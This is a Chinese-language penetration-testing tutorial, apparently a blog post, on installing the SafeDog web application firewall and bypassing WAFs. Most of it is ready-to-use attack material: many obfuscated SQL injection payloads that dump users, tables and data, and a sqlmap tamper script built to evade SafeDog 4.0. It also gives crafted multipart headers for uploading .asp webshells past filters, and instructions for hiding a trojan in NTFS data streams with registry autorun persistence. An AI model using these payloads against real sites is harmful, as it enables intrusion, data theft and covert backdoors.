WAF安装与绕过

WAF安装与绕过

WAF简介

网站WAF是一款集网站内容安全防护、网站资源保护及网站流量保护功能为一体的服务器工具。功能涵盖了网马/木马扫描、防SQL注入、防盗链、防CC攻击、网站流量实时监控、网站CPU监控、下载线程保护、IP黑白名单管理、网页防篡改功能等模块。能够为用户提供实时的网站安全防护,避免各类针对网站的攻击所带来的危害。

WAF主要功能

网马木马主动防御及查杀

  • 网页木马和网页挂马扫描工具采用特征码+启发式引擎的查杀算法,WEB木马检出率大于90%

流量监控

  • 能够实时监测到每个网站的进出流量和总流量,以及每个应用程序池及网站的CPU占用情况

网站漏洞防御功能

  • 可拦截GET、POST、COOKIES等方式的SQL注入,可对GET、POST、COOKIES分别定义特征码,以及可拦截XSS注入等行为。

危险组件防护功能

  • 全面拦截恶意代码对组件的调用权限,拦截IIS执行恶意程序,保护网站安全

.Net安全保护模块

  • 快捷设置.Net安全模式,禁止.Net执行系统敏感函数,保障网站安全

双层防盗链链接模式

  • 可以针对不同站点设置防盗链的过滤, 防止图片、桌面、软件、音乐、电影被人引用。如果发现请求者是盗用网站链接, 则自动重定向到错误处理页面

网站特定资源防下载

  • 支持对doc、mdb、mdf、myd等特定资源的防下载保护,加入要保护的敏感资料的路径,即可防止敏感资料被下载

CC攻击防护

  • 自主研发的独特抗攻击算法,高效的主动防御系统可有效防御CC攻击、流量攻击。

网站流量保护

  • 支持下载流量控制、下载线程控制。采用独创的线程控制和流量控制技术, 大大提高服务器性能, 保护网站流量。

IP黑白名单

  • 全IP黑白名单功能允许用户设置个性化的IP信任列表,直接屏蔽或者允许指定IP访问网站。同时,增加iP临时黑名单功能,以及实现了针对某个功能的iP白名单功能。同时,爬虫白名单提供爬虫信任机制,在出现误拦截情况下,允许用户自定义爬虫信任。

市场WAF分类

硬件WAF

  • 吕蒙、安恒、启明星辰、知道创宇等

软件WAF

  • 安全狗、云锁、中间件自带WAF模块(Ngixn)

云WAF

  • 阿里云、安全狗、知道创宇、安恒

安全狗安装

1、关闭apache程序及httpd.exe进程

2、运行cmd,cd进入apache\bin目录

  • 运行httpd.exe -k install -n apache2.4.39

3、打开phpstudy,和安全狗,将未安装的插件安装完成

WAF检测的方法

白名单、黑名单身份验证

  • 数据包解析

    • 规则判断

      • 拦截

WAF绕过方法

身份认证阶段的绕过

  • 1、Burpsuite安装过waf模块bypasswaf,设置自动增加变量并在项目中启用

  • 2、通过工具伪造搜索引擎(百度、Google等)User-Agent

  • 3、伪造其他特殊白名单绕过

    • 360webscan脚本存在这个问题,就是判断是否为admin dede install等目录,如果是则不做拦截

      • 比如:www.spisec.com/pen/news.php?id=1 union select user,password from mysql.user

可以改为:
www.spisec.com/pen/news.php/admin?id=1 union select user,password from mysql.user
或者
www.spisec.com/pen/admin/…\news.php?id=1 union select user,password from mysql.user
详细的见: http://www.wooyun.org/bugs/wooyun-2014-050576

  • 4、直接攻击源站

    • 这个方法可以用于安全宝、加速乐等云WAF,云WAF的原理通过DNS解析到云WAF,访问网站的流量要经过指定的DNS服务器解析,然后进入WAF节点进行过滤,最后访问原始服务器,如果我们能通过一些手段(比如c段、社工)找到原始的服务器地址,便可以绕过,

数据解析阶段的绕过

  • 5、编码绕过

    • 最常见的urlencode
  • 6、修改请求方式绕过

    • 很多的asp,aspx网站都存在这个问题,有时候WAF对GET进行了过滤,但是Cookie甚至POST参数却没有检测。

  • 7、复参数绕过

    • 例如一个请求是这样的
      GET /pen/news.php?id=1 union select user,password from mysql.user
    • 可以修改为
      GET pen/news.php?id=1&id=union&id=select&id=user,password&id=from%20mysql.user
      很多WAF都可以这样绕,测试最新版WAF能绕过部分语句
  • 8、WAF触发规则绕过

    • WAF在这里主要是针对一些特殊的关键词或者用法进行检测。绕过方法很多,也是最有效的。

    • 8.1、特殊字符替换空格

      • 用一些特殊字符代替空格,比如在mysql中%0a是换行,可以代替空格,这个方法也可以部分绕过最新版本的WAF,在sqlserver中可以用/**/代替空格,也可以使用如下方法:
        http://192.168.0.142:8080/sql.php?id=1/|%23–%23|/union/|%23–%23|/select/|%23–%23|/1,user(),3,4,5
        http://192.168.0.142:8080/sql.php?id=1/|%23–%23|/and/|%23–%23|/1=2
    • 8.2、特殊字符拼接

      • 把特殊字符拼接起来绕过WAF的检测,比如在Mysql中,可以利用注释/**/来绕过,在mssql中,函数里面可以用+来拼接
        如:GET /pen/news.php?id=1;exec(master…xp_cmdshell ‘net user’)
        可以改为:GET /pen/news.php?id=1; exec(‘maste’+‘r…xp’+’_cmdshell’+’“net user”’)
    • 8.3、注释包含关键字

      • 在mysql中,可以利用/!/包含关键词进行绕过,在mysql中这个不是注释,而是取消注释的内容。测试最新版本的WAF可以完美绕过。
        如: GET /pen/news.php?id=1 union select user,password from mysql.user
        可以改为: GET /pen/news.php?id=1 /!union/ /!select/ user,password /!from/ mysql.user
    • 8.4、尝试seelct~ select~1 select! select@等绕过

  • 9、空格替换法

    • 把空格替换成%0a//可以绕过最新版本WAF, 在Pangolin中 点击 编辑-- 配置-- 高级-- 选择替换空格使用-- 填上%0a//即可
    • http://192.168.0.142:8080/sql.php?id=1%20union%23%0aselect%23%0a1,user(),3,4,5
  • 10、大小写绕过

    • http://www.***.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4….
  • 11、双写替换法

    • http://www.***.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4….
      此方法适用于一些会把union select替换掉的WAF,经过WAF过滤后就会变成 union select 1,2,3,4…
      关键字替换
  • 12、编码与注释结合

    • http://www..com/index.php?page_id=-15 %55nION//%53ElecT 1,2,3,4…
      http://192.168.0.142:8080/sql.php?id=1/
      !50000*/union/!50000/select/!50000/1,user(),3,4,5
      也可以这样
      http://192.11.22.55/sqli/Less-1/?id=1’ and /!1=1/ %23 (WAF不拦截)
      U替换为%55,S替换为%53 在 union 和 select 之间添加注释/**/
      手工进行加注释进行注入太慢,一般我们通过Sqlmap这类工具来实现自动注入:
      sqlmap.py -u “URL” --tamper=“versionedmorekeywords.py” --dealy=1
  • 13、利用WAF本身的功能绕过

    • 假如你发现WAF会把""替换为空,那么你就可以利用这一特性来进行绕过
      http://www.site.com/index.php?page_id=-15+uni
      on+sel*ect+1,2,3,4…
      其它方法-15+(uNioN)+(sElECt)….-15+(uNioN+SeleCT)+…-15+(UnI)(oN)+(SeL)(ecT)+….-15+union (select 1,2,3,4…)
  • 关键字替换

    • COMMAND | WHAT TO USE INSTEAD
      @@version | version()
      concat() | concat_ws()
      group_concat() | concat_ws()
      = | like|in

      • http://172.16.20.18:8080/dvwa/vulnerabilities/sqli/?id=1%27%20%55%4e%49%4f%4e%20/!%09%53%45%4c%45%43%54/%20user(),database()±-+&Submit=Submit
    • 异或绕过(XOR)

    • mod绕过

      • mod(8,7) in 1
  • 15、组合绕过

    • 1.利用()代替空格
      2.利用mysql特性/!/执行语句
      3.利用/**/混淆代码

      • 先判断注入点,把and为&&,urlencode后为%26%26
        http://192.168.0.102:8080/sql.php?id=1%20%26%26%20-1=-2
      • union/%00//!50010select/(database//()),(user//())%23
        id=1/|%23–%23|/unioN/|%23–%23|/sElect/|%23–%23|/1, user(),(database/**/()),4,5

http://192.168.0.102:8080/sql.php?id=1 union/%00//!50010select/1,user(),version(),4,5

	- and /*!1=1*/ %23
	- 把and为&&,urlencode后为%26%26  如:%20%26%26%20-1=-2

- 1.mysql关键字中是不能插入/**/的,即se/**/lect是会报错的,但是函数名和括号之间是可以加上/**/的,像database/**/()这样的代码是可以执行的

2./!/中间的代码是可以执行的,其中50010为mysql版本号,只要mysql大于这个版本就会执行里面的代码
3.数据或者函数周围可以无限嵌套()
4.利用好%00

	- 判断: 1'/**/%26%261%3d2%23
	- 判断列数: 1' order by 2%23
	- 关联查询爆出用户和数据库: 1%27%20union/*%00*//*!50010select*/(database/**/()),(user/**/())%23
	- 关联查询爆出数据表: %27%20union/*%00*//*!50010select*/((group_concat(table_name))),null/**/from/**/((information_schema.TABLES))/**/where/**/TABLE_SCHEMA%3d(database/**/())%23
	- 关联查询爆出字段值: %27%20union/*%00*//*!50010select*/((group_concat(COLUMN_NAME))),null/**/from/**/((information_schema.columns))/**/where/**/TABLE_NAME%3d%27users%27%23
	- 关联查询提取数据: %27%20union/*%00*//*!50010select*/((group_concat(first_name))),null/**/from/**/((users))%23
	- 盲注爆出数据库: 1' and substr(database/**/(),1,1)%3d'1'%23
	- 盲注爆出数据表: 1'/*%00*/and substr((/*!50010select*/((group_concat(table_name)))/**/from/**/((information_schema.TABLES))/**/where/**/TABLE_SCHEMA%3d(database/**/())),1,1)%3d'1'%23
	- 盲注爆出字段值: 1'/*%00*/and substr((/*!50010select*/((group_concat(COLUMN_NAME)))/**/from/**/((information_schema.columns))/**/where/**/TABLE_NAME%3d%27users%27),1,1)%3d'1'%23
	- 盲注提取数据: 1'/*%00*/and substr((/*!50010select*/((group_concat(first_name)))/**/from/**/((users))),1,1)%3d'1'%23
	- 基于时间的盲注爆出数据库: 1'/*%00*/and (select case when (substr(database/**/(),1,1) like 'd') then sleep/**/(3) else 0 end)%23
	- 基于时间的盲注爆出数据表: 1'/*%00*/and (select case when (substr((/*!50010select*/((group_concat(table_name)))/**/from/**/((information_schema.TABLES))/**/where/**/TABLE_SCHEMA%3d(database/**/())),1,1) like 'd') then sleep/**/(3) else 0 end)%23
	- 基于时间的盲注爆出字段值: 1'/*%00*/and (select case when (substr((/*!50010select*/((group_concat(COLUMN_NAME)))/**/from/**/((information_schema.columns))/**/where/**/TABLE_NAME%3d%27users%27),1,1) like 'd') then sleep/**/(3) else 0 end)%23
	- 基于时间的盲注提取数据: 1'/*%00*/and (select case when (substr((/*!50010select*/((group_concat(first_name)))/**/from/**/((users))),1,1) like 'd') then sleep/**/(3) else 0 end)%23

安全狗4.0绕过

  • 16、内联注释绕过

    • 和#(单行注释)和/* */(多行注释)如果在/后加惊叹号!意为/ */里的语句将被执行
    • 在mysql中 /! …/ 不是注释,mysql为了保持兼容,它把一些特有的仅在mysql上用的语句放在/!../中,这样这些语句如果在其他数据库中是不会被执行,但在mysql中它会执行。如下语句/*!50001 select * from test */;这里的50001表示假如 数据库是5.00.01及以上版本,该语句才会被执行。
      但是order by (这里order不拦截by不拦截,但是order后面加by会拦截)所以我们还是用之前的内联注释测试绕过
    • 发现and能过的内联注释到了order by就不行了。这… 抓头.jpg。再测试一下将order by全部放进内联里,也不行。
      根据开头介绍的内联的特性,往内联里加数字进行测试。这里可以多准备些五位数因为一些常用的已经被狗拦了
      简单的fuzz 了一下,发现 了大量的可以绕过的版本号
      10440 – 10449 13440-13449 14400-14499 15440-15449 16440-16449 17440-17449 18440-18449 等等
      Lucy’ order /!11440 by/ 1,2#
    • union select绕过可以直接加内联,因为安全狗看重的是关键字,要绕过只需要中间加些干扰就行。
      但union select中间需要放两个内联才行,之后的都是这样。
      -1’ union /!11440 select/ 1,2#
    • -1’ union /!77777cz//!77777cz/ select 1,2#
    • 以前版本的在database()中间插空格符已经不管用了
      tip:Mysql中可以利用的空白字符有:%09,%0a,%0b,%0c,%0d,%20,%a0
      但可以用内联绕过,直接把()放到内联里,或者经过简单的变形就能过
      -1’ union /!77777cz//!77777cz/ select database/!77777a/(),2#
    • select xxx from xxx (select 任意字符 from 后面跟任意字符等也会拦截) 这里将select table_name和from information_schema.tables单独进行测试,发现都不会被拦截,但是用select table_name,2 from information_schema.这种组合进行测试时就会被拦截。再测试select xxx from xxx发现被拦截。说明select后面跟任意字符再加上from再加上任意字符就会被拦截。 这里只需要将select放进内联即可绕过,也可以像之前一样在from前面加两个内联/!77777cz/,我这里为了简洁就只写一种。 查表名
      -1’ union /!11440select/ group_concat(table_name),2 from information_schema.tables where table_schema=database/!77777cz/()#
    • 时间盲注和报错
      经测试 sleep()不会被拦但sleep()里面加数字就会被拦 updatexml()不会被拦,但是能执行的updatexml(1,1,0)会被拦截 都可以用内联进行绕过 lucy ’ /!11440or/ /!11440sleep(3)/# -1’AND updatexml/!77777cz/(1,version(),0)#
  • 17、自己修改脚本

    • 最终sqlmap tamper #!/usr/bin/env python
      “”"
      Copyright © 2006-2019 sqlmap developers ([url]http://sqlmap.org/[/url])
      See the file ‘LICENSE’ for copying permission
      Author:LUSHUN
      “”"

import re
import os

from lib.core.data import kb
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS

priority = PRIORITY.LOW

def dependencies():
singleTimeWarnMessage(“Bypass safedog4.0’%s’ only %s” % (os.path.basename(file).split(".")[0], DBMS.MYSQL))

def tamper(payload, **kwargs):
payload=payload.replace(‘AND’,’/!11440AND/’)
payload=payload.replace(‘ORDER’,‘order/!77777cz/’)
payload=payload.replace(“SELECT”,"/!11440SELECT/")
payload=payload.replace(“SLEEP(”,“sleep/!77777cz/(”)
payload=payload.replace(“UPDATEXML(”,“UPDATEXML/!77777cz/(”)
payload=payload.replace(“SESSION_USER()”,"/!11440SESSION_USER()/")
payload=payload.replace(“USER())”,“USER/!77777cz/())”)
payload=payload.replace(“DATABASE()”,“DATABASE/!77777cz/()”)
return payload

  • 18、异或绕过

    • 在^没有被过滤的时候可以利用它来测试
      异或:xor或^
      逻辑运算就是:同假异真(两个条件结果相同就为假,结果不同就为真)
      例如:1^0 就是 1 ,1^1 就是 0
      例子:
      lucy’ Xor ‘1’=‘1’ #
      如果‘lucy’存在则前后都为真则为返回假
      如果’lucy‘不存在则前为假后都为真则为返回真
      Xor类似当前后都为真时返回假执行后面一个表达式
      如果A为真,则查出不满足B条件数据;
      如果A为假,则查出满足B条件数据;
  • 19、换行绕过

    • 换行符绕过:%23%0a、%2d%2d%0a
      %23 是url编码中的 # (也就是MySQL中的行注释符)
      %0A 是url编码中的 换行
      %23 aaaa -->对应的就是 #aaaa (就相当于把这行给注释掉了)
      而再加上%0a(也就是换行符,后面的语句又能成功执行了)
  • 20、文件上传绕过

    • 方法一:等号绕过

      • 在filename=后多添加两个等号
    • 方法二:换行绕过

      • 在文件后缀名中间换行
    • 方法三:填充垃圾字符

      • 在Content-Disposition字段后添加大量垃圾数据,来绕过对文件名的校验
    • 方法四:突破0,文件名前加0x09绕过

    • 方法五:文件名去掉双引号绕过

WAF文件上传检测方法

  • 1、文件名前缀加[0x09]绕过

    • ——WebKitFormBoundary2smpsxFB3D0KbA7D
      Content-Disposition: form-data; name=”filepath”; filename=”[0x09]backlion.asp”
      Content-Type: text/html
  • 2、文件名去掉双引号绕过

    • ——WebKitFormBoundary2smpsxFB3D0KbA7D
      Content-Disposition: form-data; name=”filepath”; filename=backlion.asp
      Content-Type: text/html
  • 3、添加一个filename1的文件名参数,并赋值绕过

    • ——WebKitFormBoundary2smpsxFB3D0KbA7D
      Content-Disposition: form-data; name=”filepath”; filename=”backlion.asp”;filename1=”test.jpg”
      Content-Type: text/html
  • 4、form变量改成f+orm组合绕过

    • ——WebKitFormBoundary2smpsxFB3D0KbA7D
      Content-Disposition: f+orm-data; name=”filepath”;filename=”backlion.asp”
      Content-Type: text/html
  • 5、文件名后缀大小写绕过

    • ——WebKitFormBoundary2smpsxFB3D0KbA7D
      ConTent-Disposition: form-data; name=”filepath”; filename=”backlion.Asp”
      Content-Type: text/html
  • 6、去掉form-data变量绕过

    • ——WebKitFormBoundary2smpsxFB3D0KbA7D
      ConTent-Disposition: name=”filepath”; filename=”backlion.asp”
      Content-Type: text/html
  • 7、在Content-Disposition:后添加多个空格 或者在form-data;后添加多个空格绕过

    • ——WebKitFormBoundary2smpsxFB3D0KbA7D
      ConTent-Disposition: form-data; name=”filepath”; filename=”backlion.asp”
      Content-Type: text/html
    • ——WebKitFormBoundary2smpsxFB3D0KbA7D
      ConTent-Disposition: form-data ; name=”filepath”; filename=”baclion.asp”
      Content-Type: text/html
  • 8、backlion.asp . (空格+.)绕过

    • ——WebKitFormBoundary2smpsxFB3D0KbA7D
      ConTent-Disposition: form-data; name=”filepath”; filename=”backlion.asp .”
      Content-Type: text/html
  • 9、回车换行,绕过

    • ——WebKitFormBoundary2smpsxFB3D0KbA7D
      ConTent-Disposition: form-data; name=”filepath”; filename=”backlion.asp

      Content-Type: text/html
  • 10、NTFS流 在文件名后加::$DATA绕过

    • ——WebKitFormBoundary2smpsxFB3D0KbA7D
      ConTent-Disposition: form-data; name=”filepath”; filename=”backlion.asp::$DATA”
      Content-Type: text/html
    • ——WebKitFormBoundary2smpsxFB3D0KbA7D
      ConTent-Disposition: form-data; name=”filepath”; filename=”backlion.asp::$DATA\0x00\fuck.asp0x00.jpg”
      Content-Type: text/html
  • 11、经过对IIS 6.0的测试发现,其总是采用第一个(也就是双文件上传)Content-Disposition中的值做为接收参数,而安全狗总是以最后一个Content-Disposition中的值做为接收参数。因此尝试构造如下请求[上传backlion.asp成功]

    • Content-Disposition: form-data; name=”FileUploadName”; filename=”backlion.asp”
      —————————–15377259221471
      Content-Disposition: form-data; name=”FileUploadName”; filename=”backlion.txt”
      Content-Type: application/octet-stream
      Content-Disposition: form-data; name=”FileUploadName”; filename=”backlion.asp”
      Content-Disposition: form-data;
      name=”FileUploadName”; filename=”backlion.asp”
  • 12、将Content-Type和ConTent-Disposition调换顺序位置绕过

    • ——WebKitFormBoundary2smpsxFB3D0KbA7D
      Content-Type: text/html
      ConTent-Disposition: form-data; name=”filepath”; filename=”backlion.asp”
  • 13、在文件名前缀加空格(tab键可替换)绕过

    • ——WebKitFormBoundary2smpsxFB3D0KbA7D
      Content-Disposition: form-data; name=”filepath”; filename= “backlion.asp”
      Content-Type: text/html
  • 14、在form-data加空格绕过

    • ——WebKitFormBoundary2smpsxFB3D0KbA7D
      Content-Disposition: form-data; name=”uploaded”; filename=”backlion.asp”
      Content-Type: text/html
  • 15、在form-data的前后加上+绕过

    • ——WebKitFormBoundary2smpsxFB3D0KbA7D
      Content-Disposition: +form-data; name=”filepath”; filename=”backlion.asp”
      Content-Type: text/html
    • ——WebKitFormBoundary2smpsxFB3D0KbA7D
      Content-Disposition: form-data+; name=”filepath”; filename=”backlion.asp”
      Content-Type: text/html

waf工具绕过

webshell过狗

  • 1、分段传输

    • POST /sql.php HTTP/1.1
      Host: 192.168.0.107:81
      Cache-Control: max-age=0
      Upgrade-Insecure-Requests: 1
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.122 Safari/537.36
      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
      Accept-Encoding: gzip, deflate
      Accept-Language: zh,zh-CN;q=0.9,en-US;q=0.8,en;q=0.7,zh-HK;q=0.6
      Cookie: security_level=0
      Connection: close
      Content-Type: application/x-www-form-urlencoded
      Transfer-Encoding: chunked
      Content-Length: 71

4
id=1
6
union
7
select
2
1
8
,user(),
5
3,4,5
0

for PART in grep -v ^# /etc/fstab | awk '($6 != "0") {print $2 }'; do find $PART ( -perm -04000 -o -perm -02000 ) -type f -xdev -print Done

	- 
  • 2、把木马创建成函数,后面只要调用函数就行

  • 3、变量覆盖

  • 4、组合法

  • 5、在线加密

  • 6、文件包含

  • 7、通过NTFS交换数据流文件实现文件隐藏

    • type test.txt>>test.txt:muma.php生成隐藏文件test.txt:muma.php:$DATA 再用包含语句来执行文件
    • 数据流文件执行方法:是直接在注册表中的run键下添加数据流文件的完整路径:HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/Run,建立键值"123" = %filepath%: %streamName%,下次系统启动时就会自动运行该隐藏文件

XSS绕过WAF

  • 1、大小写绕过

  • 2、JavaScript伪协议

  • 3、没有分号绕过

  • 4、flash

  • 5、HTML5新标签

    • 新标签包含audio video source、tract
  • 6、FUZZ进行测试

  • 7、双层标签绕过

后门分析

  • 1、代码分析,关键字定位

  • 2、网络通信分析

  • 3、进程抓包分析

    • WSockExpert

你可能感兴趣的:(渗透测试,WAF,WAF安装,WAF绕过,网络安全,渗透测试)